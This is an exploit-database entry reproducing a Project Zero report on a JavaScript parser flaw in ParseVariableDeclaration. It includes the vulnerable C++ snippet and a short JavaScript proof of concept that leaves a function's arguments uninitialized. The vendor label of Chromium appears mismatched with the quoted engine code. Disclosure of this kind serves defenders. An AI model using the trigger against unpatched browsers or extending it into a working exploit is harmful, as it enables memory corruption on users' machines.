header-logo
Suggest Exploit
vendor:
Chromium
by:
Project Zero
8,8
CVSS
HIGH
Arguments Flag Override
20
CWE
Product Name: Chromium
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2020

Arguments Flag Override Vulnerability in Parser::ParseVariableDeclaration

The vulnerability exists in the ParseVariableDeclaration function of the Parser class, which is used for parsing declarations. The code is using the 'm_currentNodeFunc' variable regardless of the 'buildAST' boolean, which may change a wrong function's 'grfpn' flag. This can lead to the 'PNodeFlags::fpnArguments_overriddenByDecl' flag being set, making the function's arguments uninitialized. A proof-of-concept exploit is provided, which can be used to trigger the vulnerability.

Mitigation:

The vulnerability can be mitigated by ensuring that the 'm_currentNodeFunc' variable is not used when 'buildAST' is false.
Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1297

Here's a snippet of "ParseVariableDeclaration" which is used for parsing declarations.
template<bool buildAST>
ParseNodePtr Parser::ParseVariableDeclaration(
    tokens declarationType, charcount_t ichMin,
    BOOL fAllowIn/* = TRUE*/,
    BOOL* pfForInOk/* = nullptr*/,
    BOOL singleDefOnly/* = FALSE*/,
    BOOL allowInit/* = TRUE*/,
    BOOL isTopVarParse/* = TRUE*/,
    BOOL isFor/* = FALSE*/,
    BOOL* nativeForOk /*= nullptr*/)
{
    ...
    if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc)
    {
        // This var declaration may change the way an 'arguments' identifier in the function is resolved
        if (declarationType == tkVAR)
        {
            m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration;
        }
        else
        {
            if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function)
            {
                // Only override arguments if we are at the function block level.
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl;
            }
        }
    }
    ...
}

"m_currentNodeFunc" is only replaced when "buildAST" is true. So I think it's not supposed to use "m_currentNodeFunc" when "buildAST" is false. But the above code is using it regardless of "buildAST". So it may change a wrong function's "grfpn" flag. What I noticed is the "PNodeFlags::fpnArguments_overriddenByDecl" flag which makes the function's arguments uninitialized.

PoC:
-->

function f() {
    ({a = () => {
        let arguments;
    }} = 1);

    arguments.x;
}

f();